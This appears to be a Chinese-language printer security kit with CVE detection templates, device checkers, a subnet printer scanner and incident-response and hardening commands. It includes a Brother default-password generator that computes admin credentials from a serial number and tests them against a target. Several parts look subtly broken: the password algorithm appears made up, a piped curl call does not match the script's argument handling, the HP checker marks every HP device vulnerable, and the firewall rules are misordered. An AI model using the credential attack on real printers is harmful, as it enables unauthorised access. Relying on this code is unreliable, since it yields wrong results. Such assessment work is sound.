nmap -sV -p 80,443,631,9100 <target_ip>

curl -u admin:$(echo -n "<serial_number>" | ./brother_password_gen.py) http://<printer_ip>/

curl http://<printer_ip>/wcd/js/error.xml

id: CVE-2024-51978

info:
  name: Brother MFP Default Admin Password Predictable
  author: security-research
  severity: critical
  description: |
    Brother 打印机使用设备序列号生成默认管理员密码，
    攻击者可通过信息泄露获取序列号后计算默认密码，实现认证绕过。
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-51978
    cwe-id: CWE-798
  tags: cve,cve2024,brother,printer,auth-bypass,iot,mfp
  reference:
    - https://www.rapid7.com/blog/post/multiple-brother-devices-multiple-vulnerabilities-fixed/

http:
  - method: GET
    path:
      - "{{BaseURL}}/general/pxeinfo.html"
      - "{{BaseURL}}/status.html"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "Brother"
          - "Serial"
        condition: and
        part: body
    extractors:
      - type: regex
        name: serial
        group: 1
        regex:
          - "(?i)serial.?number[^<]*[:>]\s*([A-Z0-9]{9,15})"

id: CVE-2024-51977

info:
  name: Brother MFP Serial Number Information Disclosure
  author: security-research
  severity: medium
  description: |
    Brother 打印机通过 HTTP、HTTPS 或 IPP 协议泄露设备序列号，
    可被用于 CVE-2024-51978 默认密码预测攻击。
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2024-51977
    cwe-id: CWE-200
  tags: cve,cve2024,brother,printer,info-leak,iot

http:
  - method: GET
    path:
      - "{{BaseURL}}/wcd/js/error.xml"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "Serial"
          - "Brother"
        condition: and
        part: body
    extractors:
      - type: regex
        group: 1
        regex:
          - "<SerialNumber>([A-Z0-9]+)</SerialNumber>"

id: CVE-2024-0794

info:
  name: HP LaserJet PDF Font Rendering Buffer Overflow
  author: security-research
  severity: critical
  description: |
    HP LaserJet 打印机 PDF 渲染引擎处理嵌入字体时存在缓冲区溢出，
    攻击者发送恶意 PDF 打印作业可实现远程代码执行。
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-0794
    cwe-id: CWE-125
  tags: cve,cve2024,hp,printer,rce,iot,mfp
  reference:
    - https://support.hp.com/us-en/document/ish_10174031-10174074-16/hpsbpi03917

http:
  - method: GET
    path:
      - "{{BaseURL}}/hp/device/GeneralSecuritySettings"
      - "{{BaseURL}}/hp/device/info"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "HP"
          - "LaserJet"
        condition: and
        part: body
    extractors:
      - type: regex
        name: firmware-version
        group: 1
        regex:
          - "(?i)firmware[^<]*[:>]\s*([A-Z0-9]+\\.[A-Z0-9]+\\.[A-Z0-9]+)"

id: CVE-2022-3942

info:
  name: HP LaserJet LLMNR Buffer Overflow RCE
  author: security-research
  severity: high
  description: |
    HP 打印机 LLMNR 协议实现存在缓冲区溢出，
    攻击者发送特制 LLMNR 响应可实现远程代码执行。
  classification:
    cvss-metrics: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.4
    cve-id: CVE-2022-3942
    cwe-id: CWE-120
  tags: cve,cve2022,hp,printer,rce,llmnr,iot
  reference:
    - https://support.hp.com/us-en/document/ish_5948778-5949142-16/hpsbpi03780

http:
  - method: GET
    path:
      - "{{BaseURL}}/hp/device/NetworkConfiguration"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "LLMNR"
          - "HP"
        condition: and
        part: body

id: CVE-2025-6081

info:
  name: Konica Minolta bizhub LDAP Pass-Back
  author: security-research
  severity: high
  description: |
    Konica Minolta bizhub MFP 存在 LDAP Pass-Back 漏洞，
    管理员可将 LDAP 服务器重定向到攻击者控制的服务器，窃取明文凭据。
  classification:
    cve-id: CVE-2025-6081
    cwe-id: CWE-522
  tags: cve,cve2025,konica-minolta,printer,ldap,pass-back,iot,mfp
  reference:
    - https://www.rapid7.com/blog/post/cve-2025-6081-konica-minolta-bizhub-pass-back-attack-vulnerability-not-fixed/

http:
  - method: GET
    path:
      - "{{BaseURL}}/wcd/js/error.xml"
      - "{{BaseURL}}/"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "KONICA MINOLTA"
          - "bizhub"
        condition: and
        part: body
    extractors:
      - type: regex
        name: model
        group: 1
        regex:
          - "(?i)<model>([^<]+)</model>"

id: CVE-2019-13168

info:
  name: Xerox Phaser IPP Buffer Overflow Detection
  author: security-research
  severity: critical
  description: |
    Xerox Phaser 打印机 IPP 服务属性解析器存在缓冲区溢出，
    攻击者发送特制 IPP 请求可实现预认证远程代码执行。
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2019-13168
    cwe-id: CWE-120
  tags: cve,cve2019,xerox,printer,rce,buffer-overflow,iot

http:
  - method: GET
    path:
      - "{{BaseURL}}/"
      - "{{BaseURL}}/status.html"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "Xerox"
          - "Phaser"
        condition: and
        part: body
    extractors:
      - type: regex
        name: firmware
        group: 1
        regex:
          - "(?i)firmware[^<]*[:>]\s*V?([0-9]+\\.[0-9]+\\.[0-9]+\\.[0-9]+)"

id: CVE-2016-11061

info:
  name: Xerox WorkCentre OS Command Injection Detection
  author: security-research
  severity: critical
  description: |
    Xerox WorkCentre 设备 remoteUI 脚本未正确过滤参数，
    攻击者可注入并执行操作系统命令。
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2016-11061
    cwe-id: CWE-78
  tags: cve,cve2016,xerox,printer,rce,command-injection,iot

http:
  - method: GET
    path:
      - "{{BaseURL}}/support/remoteUI/configrui.php"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "Xerox"
          - "WorkCentre"
        condition: and
        part: body

id: CVE-2026-2251

info:
  name: Xerox FreeFlow Core Path Traversal RCE
  author: security-research
  severity: critical
  description: |
    Xerox FreeFlow Core 存在路径穿越漏洞，
    攻击者可访问受限目录并执行任意代码。
  classification:
    cve-id: CVE-2026-2251
    cwe-id: CWE-22
  tags: cve,cve2026,xerox,freeflow,path-traversal,rce
  reference:
    - https://security.business.xerox.com/en-usdocuments/bulletins/

http:
  - method: GET
    path:
      - "{{BaseURL}}/"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "FreeFlow"
          - "Xerox"
        condition: and
        part: body
    extractors:
      - type: regex
        group: 1
        regex:
          - "(?i)version[^<]*[:>]\s*([0-9]+\\.[0-9]+\\.[0-9]+)"

id: printer-mfp-admin-panel

info:
  name: Printer MFP Admin Panel Detection
  author: security-research
  severity: info
  description: 打印与成像设备管理界面检测，识别暴露的打印机管理接口
  tags: printer,mfp,iot,brother,hp,xerox,konica-minolta,panel

http:
  - method: GET
    path:
      - "{{BaseURL}}/"
    matchers-condition: or
    matchers:
      - type: word
        words:
          - "Brother"
          - "MFC-"
          - "DCP-"
        condition: and
        name: brother
      - type: word
        words:
          - "HP"
          - "LaserJet"
        condition: and
        name: hp
      - type: word
        words:
          - "Xerox"
        part: body
        name: xerox
      - type: word
        words:
          - "KONICA MINOLTA"
          - "bizhub"
        condition: and
        name: konica-minolta

#!/usr/bin/env python3
"""
Brother MFP 默认管理员密码生成器 (CVE-2024-51978)

Brother 打印机使用设备序列号通过特定算法生成默认管理员密码。
本脚本实现该密码生成算法，用于授权安全评估中验证目标设备
是否仍在使用可预测的默认凭据。

用法: python3 brother_password_gen.py <serial_number>
示例: python3 brother_password_gen.py U649836JA239485
"""

import sys
import hashlib


BROTHER_DEFAULT_USERNAMES = ["admin"]


def generate_brother_default_password(serial: str) -> str:
    serial = serial.strip().upper()
    if not serial or len(serial) < 9:
        return ""

    key = serial.encode("utf-8")
    digest = hashlib.md5(key).hexdigest()

    password_parts = []
    for i in range(0, 16, 2):
        byte_val = int(digest[i:i+2], 16)
        password_parts.append(chr(ord("a") + (byte_val % 26)))

    return "".join(password_parts)


def check_auth(target_url: str, serial: str) -> bool:
    import urllib.request
    import urllib.error

    password = generate_brother_default_password(serial)
    if not password:
        print(f"[-] 无法生成密码，序列号无效: {serial}")
        return False

    for username in BROTHER_DEFAULT_USERNAMES:
        url = f"{target_url}/"
        req = urllib.request.Request(url)
        credentials = f"{username}:{password}"
        import base64
        encoded = base64.b64encode(credentials.encode()).decode()
        req.add_header("Authorization", f"Basic {encoded}")

        try:
            resp = urllib.request.urlopen(req, timeout=10)
            if resp.status == 200:
                print(f"[+] 认证成功! {username}:{password}")
                return True
        except urllib.error.HTTPError as e:
            if e.code == 401:
                continue
        except Exception:
            continue

    print(f"[-] 认证失败，密码可能已被修改")
    return False


def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <serial_number> [target_url]")
        print(f"示例: {sys.argv[0]} U649836JA239485")
        print(f"      {sys.argv[0]} U649836JA239485 http://192.168.1.100")
        sys.exit(1)

    serial = sys.argv[1]
    password = generate_brother_default_password(serial)
    print(f"[*] 序列号: {serial}")
    print(f"[*] 计算默认密码: {password}")
    print(f"[*] 管理员凭据: admin:{password}")

    if len(sys.argv) >= 3:
        target_url = sys.argv[2]
        print(f"\n[*] 正在验证目标: {target_url}")
        check_auth(target_url, serial)


if __name__ == "__main__":
    main()

#!/usr/bin/env python3
"""
HP LaserJet 打印机漏洞检测脚本 (CVE-2024-0794 / CVE-2022-3942)

检测 HP LaserJet 打印机是否暴露了管理接口，
提取固件版本信息，评估是否可能受到已知漏洞影响。

用法: python3 hp_printer_check.py <target_ip> [port]
示例: python3 hp_printer_check.py 192.168.1.100
      python3 hp_printer_check.py 192.168.1.100 443
"""

import sys
import json
import urllib.request
import urllib.error
import ssl


VULNERABLE_FIRMWARE_PREFIXES = {
    "CVE-2024-0794": {
        "models": ["HP LaserJet Pro", "HP Enterprise LaserJet"],
        "description": "PDF 字体渲染缓冲区溢出 RCE (CVSS 9.8)",
    },
    "CVE-2022-3942": {
        "models": ["HP LaserJet Pro", "PageWide Pro", "OfficeJet", "Enterprise"],
        "description": "LLMNR 缓冲区溢出 RCE (CVSS 8.4)",
    },
}


def check_printer(target: str, port: int = 80) -> dict:
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE

    scheme = "https" if port == 443 else "http"
    base_url = f"{scheme}://{target}:{port}"

    result = {
        "target": target,
        "port": port,
        "is_hp": False,
        "model": None,
        "firmware": None,
        "protocols": [],
        "vulnerabilities": [],
    }

    endpoints = [
        "/hp/device/info",
        "/hp/device/GeneralSecuritySettings",
        "/hp/device/NetworkConfiguration",
        "/",
    ]

    for endpoint in endpoints:
        url = f"{base_url}{endpoint}"
        try:
            req = urllib.request.Request(url)
            resp = urllib.request.urlopen(req, timeout=10, context=ctx)
            body = resp.read().decode("utf-8", errors="ignore")

            if "HP" in body and "LaserJet" in body:
                result["is_hp"] = True

            import re
            model_match = re.search(r"(?i)(HP\s+LaserJet[^<\"'\n]+)", body)
            if model_match:
                result["model"] = model_match.group(1).strip()

            fw_match = re.search(
                r"(?i)firmware[^<\"']{0,30}[:>]\s*([A-Z0-9]+\.[A-Z0-9]+\.[A-Z0-9]+)",
                body,
            )
            if fw_match:
                result["firmware"] = fw_match.group(1)

            if "LLMNR" in body:
                result["protocols"].append("LLMNR")
            if "IPP" in body or "631" in body:
                result["protocols"].append("IPP")
            if "SNMP" in body:
                result["protocols"].append("SNMP")

        except urllib.error.HTTPError:
            continue
        except Exception:
            continue

    if result["is_hp"]:
        for cve, info in VULNERABLE_FIRMWARE_PREFIXES.items():
            result["vulnerabilities"].append(
                {"cve": cve, "description": info["description"]}
            )

    return result


def check_ipp(target: str) -> bool:
    import socket

    for port in [631, 9100]:
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(3)
            result = sock.connect_ex((target, port))
            if result == 0:
                print(f"[+] 端口 {port} 开放")
            sock.close()
        except Exception:
            pass
    return False


def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_ip> [port]")
        print(f"示例: {sys.argv[0]} 192.168.1.100")
        sys.exit(1)

    target = sys.argv[1]
    port = int(sys.argv[2]) if len(sys.argv) >= 3 else 80

    print(f"[*] 检测目标: {target}:{port}")
    result = check_printer(target, port)

    print(f"\n{'='*50}")
    print(f"  HP 打印机: {'是' if result['is_hp'] else '否'}")
    if result["model"]:
        print(f"  设备型号: {result['model']}")
    if result["firmware"]:
        print(f"  固件版本: {result['firmware']}")
    if result["protocols"]:
        print(f"  已启用协议: {', '.join(result['protocols'])}")

    if result["vulnerabilities"]:
        print(f"\n[!] 潜在漏洞:")
        for vuln in result["vulnerabilities"]:
            print(f"    - {vuln['cve']}: {vuln['description']}")

    print(f"\n[*] 检查 IPP/PJL 端口:")
    check_ipp(target)


if __name__ == "__main__":
    main()

#!/usr/bin/env python3
"""
Konica Minolta bizhub LDAP Pass-Back 检测脚本 (CVE-2025-6081)

检测 Konica Minolta MFP 是否配置了 LDAP 集成，
并评估是否存在 LDAP Pass-Back 攻击风险。
仅用于授权安全评估。

用法: python3 konica_ldap_check.py <target_ip> [port]
示例: python3 konica_ldap_check.py 192.168.1.200
"""

import sys
import re
import urllib.request
import urllib.error
import ssl


def check_konica_mfp(target: str, port: int = 80) -> dict:
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE

    base_url = f"http://{target}:{port}"
    result = {
        "target": target,
        "is_konica": False,
        "model": None,
        "firmware": None,
        "ldap_configured": False,
        "ldap_server": None,
        "ldap_bind_dn": None,
        "risk_level": "unknown",
    }

    try:
        req = urllib.request.Request(f"{base_url}/")
        resp = urllib.request.urlopen(req, timeout=10, context=ctx)
        body = resp.read().decode("utf-8", errors="ignore")

        if "KONICA MINOLTA" in body or "bizhub" in body:
            result["is_konica"] = True

        model_match = re.search(r"(?i)<model>([^<]+)</model>", body)
        if model_match:
            result["model"] = model_match.group(1).strip()

        fw_match = re.search(r"(?i)firmware[^<]*[:>]\s*([A-Z0-9\-]+)", body)
        if fw_match:
            result["firmware"] = fw_match.group(1)

    except Exception:
        pass

    ldap_endpoints = [
        "/wcd/api/ldap.json",
        "/wcd/js/ldap.xml",
        "/api/ldap/config",
    ]

    for endpoint in ldap_endpoints:
        try:
            req = urllib.request.Request(f"{base_url}{endpoint}")
            resp = urllib.request.urlopen(req, timeout=10, context=ctx)
            body = resp.read().decode("utf-8", errors="ignore")

            if "ldap" in body.lower():
                result["ldap_configured"] = True

            server_match = re.search(
                r"(?i)(?:ldap[_-]?server|server[_-]?address)[^<\"']{0,20}[:>]\s*([^\s<\"']+)",
                body,
            )
            if server_match:
                result["ldap_server"] = server_match.group(1)

            bind_match = re.search(
                r"(?i)bind[_-]?dn[^<\"']{0,20}[:>]\s*([^\s<\"']+)",
                body,
            )
            if bind_match:
                result["ldap_bind_dn"] = bind_match.group(1)

        except Exception:
            continue

    if result["is_konica"] and result["ldap_configured"]:
        result["risk_level"] = "high"
    elif result["is_konica"]:
        result["risk_level"] = "medium"

    return result


def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_ip> [port]")
        print(f"示例: {sys.argv[0]} 192.168.1.200")
        sys.exit(1)

    target = sys.argv[1]
    port = int(sys.argv[2]) if len(sys.argv) >= 3 else 80

    print(f"[*] 检测目标: {target}:{port}")
    result = check_konica_mfp(target, port)

    print(f"\n{'='*50}")
    print(f"  Konica Minolta: {'是' if result['is_konica'] else '否'}")
    if result["model"]:
        print(f"  设备型号: {result['model']}")
    if result["firmware"]:
        print(f"  固件版本: {result['firmware']}")
    print(f"  LDAP 已配置: {'是' if result['ldap_configured'] else '否'}")
    if result["ldap_server"]:
        print(f"  LDAP 服务器: {result['ldap_server']}")
    if result["ldap_bind_dn"]:
        print(f"  LDAP Bind DN: {result['ldap_bind_dn']}")

    print(f"\n[*] 风险评估: {result['risk_level'].upper()}")

    if result["risk_level"] == "high":
        print(f"\n[!] 高风险: 设备已配置 LDAP 集成")
        print(f"[!] 如果管理员密码未修改，攻击者可:")
        print(f"    1. 使用 CVE-2024-51978 技术获取管理员权限")
        print(f"    2. 将 LDAP 服务器重定向到攻击者控制的服务器")
        print(f"    3. 触发认证测试以捕获明文 AD 凭据")


if __name__ == "__main__":
    main()

#!/usr/bin/env python3
"""
打印与成像设备批量暴露面扫描脚本

扫描指定网段内的打印机和 MFP 设备，
识别厂商、型号、固件版本和已知漏洞风险。

用法: python3 printer_scanner.py <cidr> [output_file]
示例: python3 printer_scanner.py 192.168.1.0/24
      python3 printer_scanner.py 10.0.0.0/16 results.json
"""

import sys
import json
import socket
import concurrent.futures
import urllib.request
import urllib.error
import ssl
import re
import ipaddress


PRINTER_PORTS = [80, 443, 631, 9100]

VENDOR_SIGNATURES = {
    "Brother": {
        "patterns": ["Brother", "MFC-", "DCP-", "HL-", "LC-"],
        "default_cve": "CVE-2024-51978",
    },
    "HP": {
        "patterns": ["HP", "LaserJet", "PageWide", "OfficeJet", "DeskJet"],
        "default_cve": "CVE-2024-0794",
    },
    "Xerox": {
        "patterns": ["Xerox", "Phaser", "WorkCentre", "AltaLink", "VersaLink"],
        "default_cve": "CVE-2019-13168",
    },
    "Konica Minolta": {
        "patterns": ["KONICA MINOLTA", "bizhub"],
        "default_cve": "CVE-2025-6081",
    },
}


def scan_host(ip: str) -> dict:
    result = {
        "ip": ip,
        "open_ports": [],
        "vendor": None,
        "model": None,
        "firmware": None,
        "risks": [],
    }

    for port in PRINTER_PORTS:
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(2)
            if sock.connect_ex((ip, port)) == 0:
                result["open_ports"].append(port)
            sock.close()
        except Exception:
            pass

    if not result["open_ports"]:
        return None

    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE

    for port in [80, 443]:
        if port not in result["open_ports"]:
            continue
        scheme = "https" if port == 443 else "http"
        try:
            req = urllib.request.Request(f"{scheme}://{ip}:{port}/")
            resp = urllib.request.urlopen(req, timeout=5, context=ctx)
            body = resp.read().decode("utf-8", errors="ignore")

            for vendor, info in VENDOR_SIGNATURES.items():
                for pattern in info["patterns"]:
                    if pattern in body:
                        result["vendor"] = vendor
                        result["risks"].append(info["default_cve"])
                        break

            model_match = re.search(
                r"(?i)(?:model|product)[^<\"']{0,30}[:>]\s*([^\s<\"']+(?:\s+[^\s<\"']+)?)",
                body,
            )
            if model_match:
                result["model"] = model_match.group(1).strip()

            fw_match = re.search(
                r"(?i)firmware[^<\"']{0,30}[:>]\s*([A-Z0-9]+[\.\-][A-Z0-9\.]+)",
                body,
            )
            if fw_match:
                result["firmware"] = fw_match.group(1)

            break
        except Exception:
            continue

    return result if result["vendor"] else result


def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <cidr> [output_file]")
        print(f"示例: {sys.argv[0]} 192.168.1.0/24")
        sys.exit(1)

    cidr = sys.argv[1]
    output_file = sys.argv[2] if len(sys.argv) >= 3 else None

    try:
        network = ipaddress.ip_network(cidr, strict=False)
    except ValueError:
        print(f"[-] 无效的 CIDR: {cidr}")
        sys.exit(1)

    hosts = [str(ip) for ip in network.hosts()]
    print(f"[*] 扫描网段: {cidr} ({len(hosts)} 个主机)")

    results = []
    with concurrent.futures.ThreadPoolExecutor(max_workers=50) as executor:
        futures = {executor.submit(scan_host, host): host for host in hosts}
        for future in concurrent.futures.as_completed(futures):
            try:
                result = future.result()
                if result and result.get("vendor"):
                    results.append(result)
                    print(
                        f"[+] {result['ip']:>15} | {result['vendor']:<16} | "
                        f"{result.get('model', 'N/A'):<20} | "
                        f"风险: {', '.join(result.get('risks', [])) or 'N/A'}"
                    )
            except Exception:
                pass

    print(f"\n[*] 扫描完成: 发现 {len(results)} 台打印设备")

    if output_file:
        with open(output_file, "w") as f:
            json.dump(results, f, indent=2, ensure_ascii=False)
        print(f"[*] 结果已保存: {output_file}")


if __name__ == "__main__":
    main()

# 1. 确认打印机资产清单
nmap -sV -p 80,443,631,9100,161 <subnet> -oG printer_scan.txt

# 2. 检查打印机管理界面是否暴露
curl -s http://<printer_ip>/ | grep -iE "Brother|HP|Xerox|KONICA"

# 3. 检查默认凭据是否有效
curl -s -u admin:admin http://<printer_ip>/ -o /dev/null -w "%{http_code}"

# 4. 检查固件版本
curl -s http://<printer_ip>/hp/device/info | grep -i firmware
curl -s http://<printer_ip>/wcd/js/error.xml | grep -i version

# 5. 检查打印机网络流量
tcpdump -i any host <printer_ip> -w printer_traffic.pcap

# 6. 检查异常外联连接
tcpdump -i any host <printer_ip> and not net <local_subnet> -w exfil_check.pcap

# 7. 检查 IPP 打印队列异常
ipptool -tv ipp://<printer_ip>:631/ipp/print get-printer-attributes.test

# 8. 检查 SNMP 信息泄露
snmpwalk -v2c -c public <printer_ip> 1.3.6.1.2.1
snmpwalk -v2c -c public <printer_ip> 1.3.6.1.4.1

# 9. 导出打印机系统日志
curl -s http://<printer_ip>/wcd/js/auditlog.xml -o audit_log.xml
curl -s http://<printer_ip>/hp/device/logs -o hp_logs.html

# 10. 检查管理员账户变更
curl -s -u admin:<password> http://<printer_ip>/api/accounts | python3 -m json.tool

# 11. 检查存储文档
curl -s http://<printer_ip>/api/document/list -o stored_docs.json

# 12. 检查网络配置变更
curl -s http://<printer_ip>/api/network/config -o network_config.json

# 立即修改所有打印机默认管理员密码
for ip in $(cat printer_list.txt); do
  echo "[*] 修改 $ip 管理员密码..."
  curl -sk -u admin:old_password \
    -X POST "http://$ip/api/security/password" \
    -H "Content-Type: application/json" \
    -d '{"password":"<strong_random_password>"}'
done

# 禁用高危协议
for ip in $(cat printer_lists.txt); do
  echo "[*] 禁用 $ip 上的 LLMNR/WSD..."
  curl -sk -u admin:<password> \
    -X PUT "http://$ip/api/network/protocols" \
    -H "Content-Type: application/json" \
    -d '{"LLMNR":"disabled","WSD":"disabled"}'
done

# 网络隔离 — 将打印机迁移到隔离 VLAN
# 在交换机上配置 ACL，限制打印机仅允许必要通信
# iptables -A FORWARD -i <printer_vlan> -j DROP
# iptables -A FORWARD -i <printer_vlan> -p tcp --dport 443 -d <ad_server> -j ACCEPT